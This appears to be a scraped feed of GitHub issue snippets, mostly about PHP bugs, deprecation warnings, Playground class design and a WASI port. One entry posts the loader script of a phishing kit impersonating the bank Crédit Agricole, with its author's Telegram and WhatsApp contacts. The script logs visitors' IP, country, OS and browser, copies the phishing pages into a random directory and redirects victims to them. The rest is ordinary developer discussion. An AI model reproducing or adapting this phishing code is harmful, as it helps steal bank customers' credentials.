Warning: Undefined array key "AbschlussStudium" in [...]wp-content/plugins/rrze-jobs/includes/Provider/Interamt.php on line 352
cassandre Updated
Playground has many classes and interfaces referring to similar concept of PHP. There’s: IsomorphicLocalPHP - sync interface for running PHP in the current process IsomorphicRemotePHP - same as above but async for running PHP remotely, e.g. in a worker BasePHP - base implementation of IsomorphicLocalPHP WebPHP - ditto, but with browser specific methods NodePHP - ditto, but with node specific methods WebPHPEndpoint - Async implementation of IsomorphicRemotePHP that calls WebPHP running in a worker. Used by client apps And probably more. It is difficult to understand the structure and easy to update one but forget about another (and miss it in a review, see #490). Let’s discuss and see if there can be a simpler structure that allows for: Isomorphic PHP interface that supports web, node, and other runtimes Same-thread PHP execution with synchronous method Remote PHP execution, e.g. in a worker, with asynchronous methods If it cannot be simplified, then at least let’s find a way to raise alarm bells in TypeScript if the PR makes a change in BasePHP but not in the other ones. cc @eliot-akira @dmsnell @wojtekn
The following repos were added italia/spid-cie-php The following repos were removed or archived italia/spid-php
developers-italia-droid Updated
or "```html" if the example is html. also </code> needs the ending triple "`" This is the kind of maintenance thing @ctrlaltca usually handles silently in the night. ;)
belisoful Updated
The new image of jobe server is throwing PHP error
utkarshsystem Updated
Just for clarification, per the instructions, is the referenced "testSDK.php" actually the file "number_route_message_demo.php", just the documentation hasn't been updated since the file was potentially renamed?
sltmunky69 Updated
Steps to reproduce Start Update-Script or Install-Script Expected behaviour Script starts Actual behaviour No action but error-message: PHP Parse error: syntax error, unexpected ')', expecting variable (T_VARIABLE) in /.../sources/main.functions.php on line 4143 Server configuration Ubuntu 20.04 Web server: Apache, PHP 7.4 Database: PHP version: PHP 7.4 Teampass version: 3.0.7 and 3.0.8 main.functions.php function validateDataFields( string $table, array $dataFields, ): array has to be changed to function validateDataFields( string $table, array $dataFields ): array (remove "," after array $dataFields)
imadevel Updated
<php /** @link https://web.telegram.org/k/#@miitch_bot @SInCE 20/03/2020 @Package CREDIT AGRICOLE @WhatsApp +212628495855 @telegram @miitch_bot Project Name: CREDIT AGRICOLE Author: miitch Author URI: https://web.telegram.org/k/#@userinfobot */ include 'inc/app.php'; $get_user_ip = get_user_ip(); $get_user_country = get_user_country($get_user_ip); $get_user_countrycode = get_user_countrycode($get_user_ip); $get_user_os = get_user_os(); $get_user_browser = get_user_browser(); $random = rand(0,100000000000); $DIR = substr(md5($random), 0, 15); $dispatch = substr(md5($random), 0, 17); function recurse_copy($home,$DIR) { $dir = opendir($home); @mkdir($DIR); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($home . '/' . $file) ) { recurse_copy($home . '/' . $file,$DIR . '/' . $file); } else { copy($home . '/' . $file,$DIR . '/' . $file); } } } closedir($dir); } $home="miitch"; recurse_copy( $home, $DIR ); header("location:$DIR/region.php?particulier#_$dispatch"); $file = fopen("vu.txt","a"); fwrite($file,$get_user_ip." - ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")." >> [$get_user_country | $get_user_os | $get_user_browser] \n"); ?>
CreditAgricole1 Updated
Implement TDD project on PHP language
roman-duck Updated
Warning: foreach() argument must be of type array|object, null given in mod_cblistmodule/helper.php on line 92 (php version 8.0) (latest version of cblistmodule)
magnushasselquist Updated
Hola, antes que nada felicitarte pues me está siendo de gran ayuda antes de dar el salto a Laravel, comprender todo de forma nativa, ya que vengo de PHP Legacy. He realizado unos cambios en Core.php (realmente en mi trabajo es diferente pues yo uso namespaces y cambia un poco por lo que lo he adaptado para tu código) espero que te sea de utilidad. Este código lo que hace es controlar el caso que la url no esté bien escrita o que el metodo o clase no se encuentre. Lo que hace es extender de la clase control para poder acceder al método load_view y cargar la vista de página no encontrada. <?php class Core extends Control { // indice[0] va ser igual al controlador // indice[1] va ser igual al metodo del controlador // indice[2] va ser igual a los parametros que iran como argumento en los metodos protected $controller; protected $method; protected $parameters = []; public function __construct() { $url = $this->getUrl(); // Controller Load if (file_exists('../app/controllers/' . ucwords($url[0]) . '.php')) { $this->controller = ucwords($url[0]); unset($url[0]); require_once '../app/controllers/' . $this->controller . '.php'; $this->controller = new $this->controller; } else { $this->load_view('404'); exit; } // Method Load if (isset($url[1])) { if (method_exists($this->controller, $url[1])) { $this->method = $url[1]; unset($url[1]); } else { $this->load_view('404'); exit; } } // Parameters Load $this->parameters = $url ? array_values($url) : []; // Call call_user_func_array([$this->controller, $this->method], $this->parameters); //var_dump($this->parameters); } public function getUrl() { if (isset($_GET['url'])) { $url = rtrim($_GET['url'], '/'); $url = filter_var($url, FILTER_SANITIZE_URL); $url = explode('/', $url); return $url; } } }
yanker Updated
Warning: Undefined array key "intext" in D:\inetpub\intranet\plugins\content\cbprofile\cbprofile.php on line 244 Warning: Undefined array key "intext" in D:\inetpub\intranet\plugins\content\cbprofile\cbprofile.php on line 257
Tazzios Updated enhancement
... und diese warnung erhalte ich bei migrate: PHP Warning: Undefined array key "deleteConfirm" in /mnt/web215/var/cache/prod/contao/dca/tl_boxen.php on line 37 VG karsten
herrrilke Updated bug
Hello, Is it possible to have the php-snuffleupagus package for the base PHP version of Fedora ? I see that this package already exists for some specific PHP versions (Like php81-php-snuffleupagus). Note: I am using Fedora 38 with its default PHP 8.2 Thanks.
JGoutin Updated Assistance
Hello Prettier is not working with Tailwind CSS and PHP, and Headwind is unreliable. Finally, I found this plugin. I hope it will help me solve the problem. I've tried to use tailwind-class-sorter.classRegexin the following pattern, but it didn't work: "tailwind-class-sorter.classRegex": { "rescript": [ "className\\w*?=\\w*(\"[\\s\\S]+?\")|className\\w*?=\\w*?\\{([\\s\\S]+?)\\}", "\"(.+?)\"" ], "php": [ "class\\s*?=\\s*(\"[\\s\\S]+?\")", "\"(.+?)\"" ] } Could you tell me if it's possible to enable it for the PHP?
dominikkucharski Updated
Describe the bug A clear and concise description of what the bug is. To Reproduce Steps to reproduce the behavior: Go to '...' the parselog.php and license_util.php are getting error 500 when I use wget. Click on '....' Scroll down to '....' See error [[email protected] html]# php /var/www/html/license_cache.php >> /var/www/html/logs/license_cache.log [[email protected] html]# wget -O - >> /var/www/html/logs/license_parse.log --2023-06-01 15:15:33-- Connecting to connected. HTTP request sent, awaiting response... 500 Internal Server Error 2023-06-01 15:15:33 ERROR 500: Internal Server Error. [[email protected] html]# php parselog.php PHP Warning: require_once(DB.php): failed to open stream: No such file or directory in /var/www/html/parselog.php on line 22 PHP Fatal error: require_once(): Failed opening required 'DB.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/html/parselog.php on line 22 [[email protected] html]# which php /usr/bin/php [[email protected] html]# wget -O- >> /var/www/html/logs/license_util.log --2023-06-01 15:16:32-- Connecting to connected. HTTP request sent, awaiting response... 500 Internal Server Error 2023-06-01 15:16:32 ERROR 500: Internal Server Error. Expected behavior A clear and concise description of what you expected to happen. Screenshots If applicable, add screenshots to help explain your problem. Desktop (please complete the following information): OS: [e.g. iOS] Redhat 8.7 Add any other context about the problem here.
ishackigozi Updated
There was a pull request #113 that was exploring this direction, which was closed recently with a note to come back at a later time. Let's look into collaborating with https://github.com/vmware-labs/webassembly-language-runtimes (see php-8.1.11) once WASI supports longjmp. From what I understand, an advantage of compiling PHP to WASI is that it can be a standalone binary that runs without dependency on Node.js. I wanted to contribute a bit by gathering related links that I came across while studying about this topic. In the WASI repo, there was an issue WebAssembly/WASI#490 asking about setjmp support. It was closed with the following note: The current plan is to wait for the exception-handling proposal to be standardized and implemented in wasm engines, and then to implement setjmp and longjmp using that feature. Exception-handling is currently in phase 3. So the feature will be implemented eventually. That implies that any workaround solution is temporary, to be replaced/removed in the future. In the meantime, a WebAssembly / WASI port of Ruby was developed, which gets around the limitation by emulating setjmp and longjmp with Asyncify. I learned about it from these articles: Ruby 3.2's WASI Integration: A Closer Look An Update on WebAssembly/WASI Support in Ruby Then someone re-purposed that setjmp polyfill to integrate with PHP. Here's the as-yet-unmerged pull request: vmware-labs/webassembly-language-runtimes#28 In parallel, another person from VMware started on an ambitious effort in the PHP repo itself. php/php-src#10457 Hopefully this issue can serve as reference when there's progress in any of the above.
I'm seeing the following entries in my debug.log when running PHP 8.2, and wanted to report them so they can be fixed. Also, if not compatible with PHP 8.2, is this plugin compatible with PHP 8.1 or 8.0? PHP Deprecated: Creation of dynamic property Astoundify_Job_Manager_Companies::$file is deprecated in /wp-content/plugins/wp-job-manager-companies/wp-job-manager-companies.php on line 57 PHP Deprecated: Creation of dynamic property Astoundify_Job_Manager_Companies::$basename is deprecated in /wp-content/plugins/wp-job-manager-companies/wp-job-manager-companies.php on line 59 PHP Deprecated: Creation of dynamic property Astoundify_Job_Manager_Companies::$plugin_dir is deprecated in /wp-content/plugins/wp-job-manager-companies/wp-job-manager-companies.php on line 60 PHP Deprecated: Creation of dynamic property Astoundify_Job_Manager_Companies::$plugin_url is deprecated in /wp-content/plugins/wp-job-manager-companies/wp-job-manager-companies.php on line 61 PHP Deprecated: Creation of dynamic property Astoundify_Job_Manager_Companies::$lang_dir is deprecated in /wp-content/plugins/wp-job-manager-companies/wp-job-manager-companies.php on line 63 PHP Deprecated: Creation of dynamic property Astoundify_Job_Manager_Companies::$domain is deprecated in /wp-content/plugins/wp-job-manager-companies/wp-job-manager-companies.php on line 65
Hastibe Updated
The script should automatically generate the config.php. This would eliminate the step of connecting the db via the web ui
johnnyq Updated
Previous Next